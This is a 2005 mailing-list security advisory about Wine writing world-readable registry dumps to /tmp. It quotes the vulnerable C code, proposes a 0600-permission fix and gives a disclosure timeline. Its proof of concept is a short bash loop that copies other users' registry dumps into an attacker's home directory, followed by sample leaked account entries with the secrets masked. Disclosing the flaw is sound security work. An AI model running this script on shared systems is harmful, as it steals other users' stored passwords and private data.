Message-ID: <BAY23-F3D8041A95F18C4A1910C0C8560@phx.gbl>
From: badpenguin79 at hotmail.com (Giovanni Delvecchio)
Subject: [ZH2005-02SA] Insecure tmp file creation in Wine

Title: Insecure tmp file creation in Wine

Author: Giovanni Delvecchio
e-mail: badpenguin@...e-h.org


Version affected : Wine 20050211 and previous releases



About Wine
=======
from http://www.winehq.org/site/docs/wine-faq/index :

Wine is a program which allows the operation of DOS and MS Windows programs 
(Windows 3.x and Win32 executables) on UNIX operating systems such as Linux. 
It consists of a program loader, which loads and executes a Windows binary, 
and a set of libraries that implements Windows API calls using their UNIX or 
X11 equivalents. The libraries may also be used for porting Win32 code into 
native UNIX executables, often without many changes in the source. Wine is 
free software, and its license (contained in the file LICENSE in each 
distribution) is the LGPL.



Problem
=====

When a win32 application is launched by wine, wine makes a dump of the 
windows registry in /tmp with name regxxxxyyyy.tmp , where xxxxxx is the pid 
in hexadecimal value of the current wine process and yyyy is an integer 
value usually equal to zero.

regxxxxyyyy.tmp is created with 0644 ( -rw-r--r-- )permissions.
This could represent a security problem in a multi-user environment.
Indeed, any local user could access to windows regstry's dump and get 
sensitive information, like passwords and other private data.



Details
====

The functions affected are _get_tmp_fn(FILE **) in 
$winerelease/misc/registry.c and
save_branch( struct key *key, const char *path ) in 
$winerelease/server/registry.c


_get_tmp_fn(FILE **) @ $winerelease/misc/registry.c :
---------------------------------------------------------------------------------------------
static LPSTR _get_tmp_fn(FILE **f)
{
LPSTR ret;
int tmp_fd,count;

ret = _xmalloc(50);
for (count = 0;;) {
sprintf(ret,"/tmp/reg%lx%04x.tmp",(long)getpid(),count++);

//here file regxxxyyyy.tmp is not created with secure permssions
if ((tmp_fd = open(ret,O_CREAT | O_EXCL | O_WRONLY,0666)) != -1) break;
if (errno != EEXIST) {
ERR("Unexpected error while open() call: %s\n",strerror(errno));
free(ret);
*f = NULL;
return NULL;
}
}
---------------------------------------------------------------------------------------------


save_branch( struct key *,const char * ) @ $winerelease/server/registry.c:
-------------------------------------------------------------------------------------------

static int save_branch( struct key *key, const char *path )
{
struct stat st;
char *p, *real, *tmp = NULL;
int fd, count = 0, ret = 0, by_symlink;
FILE *f;
.
.
.
for (;;)
{
sprintf( p, "reg%lx%04x.tmp", (long) getpid(), count++ );
//here file regxxxyyyy.tmp is not created with secure permssions
if ((fd = open( tmp, O_CREAT | O_EXCL | O_WRONLY, 0666 )) != -1) break;
if (errno != EEXIST) goto done;
close( fd );
}

.
.
.
}

--------------------------------------------------------------------------------------------


When regxxxyyyy.tmp is created by open(), 0666 mode is used as argument.
Since default umask is 022 ==> (0666) &~ (022) = 0644 = -rw-r--r--
the file will be created with 0644 permissions.



Proof of Concepts
===========

To expoloit this bug, a local attacker could use a bash script to check the 
presence of regxxxyyyy.tmp in /tmp and copy it in his home directory for a 
successive analysis.


Example of bash script:

----------------------------------------------

#!/bin/sh

count=1
while [ true ]; do
if [ -f /tmp/reg*.tmp ]; then
cp /tmp/reg* /home/attacker/reg$count
count=$(($count + 1))
sleep 1
fi
done

---------------------------------------------


I have made some tests to reproduce this bug, running several applications 
and i noted that has been possible get sensitive information like:

______________________________________________________________________________

[Software\\Microsoft\\Protected Storage System 
Provider\\*Default*\\Data\\b9819c52-1e12-4bbd-91e7-af9afea5b02d
\\87f5aab7-ca62-41c5-8896-27714d7b7e73\\MARSUSERPROTECTEDINFO]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item 
Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx

________________________________________________________________________________

------------------------------------------------------------------------------------------------
[Software\\Microsoft\\Protected Storage System 
Provider\\*Default*\\Data\\220d5cc1-853a-11d0-84bc-00c04fd43f8f
\\417e2d75-84bd-11d0-84bb-00c04fd43f8f\\HotmailCC990760]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item 
Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx

---------------------------------------------------------------------------------------------------------

and

----------------------------------------------------------------------------------------------------------
[Software\\Microsoft\\Internet Account Manager\\Accounts\\00000008]
"Account Name"="libero.it"
"Connection Type"=dword:00000003
"POP3 Server"="pop3.libero.it"
"POP3 User Name"="xxxxxxx"
"POP3 
Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"POP3 Prompt for Password"=dword:00000000
"SMTP Server"="mail.libero.it"
"SMTP Display Name"="xxxxxx"
"SMTP Email Address"="xxxxxx@...ero.it"
"POP3 Skip Account"=dword:00000000
"POP3 Port"=dword:0000006e
"SMTP User Name"=""
"SMTP 
Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"SMTP Use Sicily"=dword:00000000
"SMTP Prompt for Password"=dword:00000000


-------------------------------------------------------------------------------------------------------

where there were MSN Explorer and outlook's passwords encrypted.

Note that also if they are encrypted, they could be imported on the windows
registry system of the attacker and so gain illegal access with victim's 
account, or using one of many tools availble on the net to "crack" such 
encrypted password.



Solution:
=====

A fix for this problem could be call the function open() using 0600 mode:

... open(ret,O_CREAT | O_EXCL | O_WRONLY,0600)) ....

I have provided a possible patch :
donwload the patch file from http://www.zone-h.org/download/file=5374/ in 
your wine sources directory and launch:

gzip -cd wine_registry_patch.tar.gz | patch -p1



Timeline
======
11th February 2005 - Bug dicovered
12th February 2005 - Wine contacted by wine-bugs@...ehq.org
13th March 2005 - Public advisory

Note: 10th March 2005 - Wine20050310 has been released, but the problem has 
not been fixed yet .



Reference:
=======
http://bugs.winehq.org/show_bug.cgi?id=2715
http://www.zone-h.org/advisories/read/id=7300

_________________________________________________________________
Scopri il nuovo MSN Htomail - 10MB di allegati 
http://www.msn.it/hotmail/minisite_10

Powered by blists - more mailing lists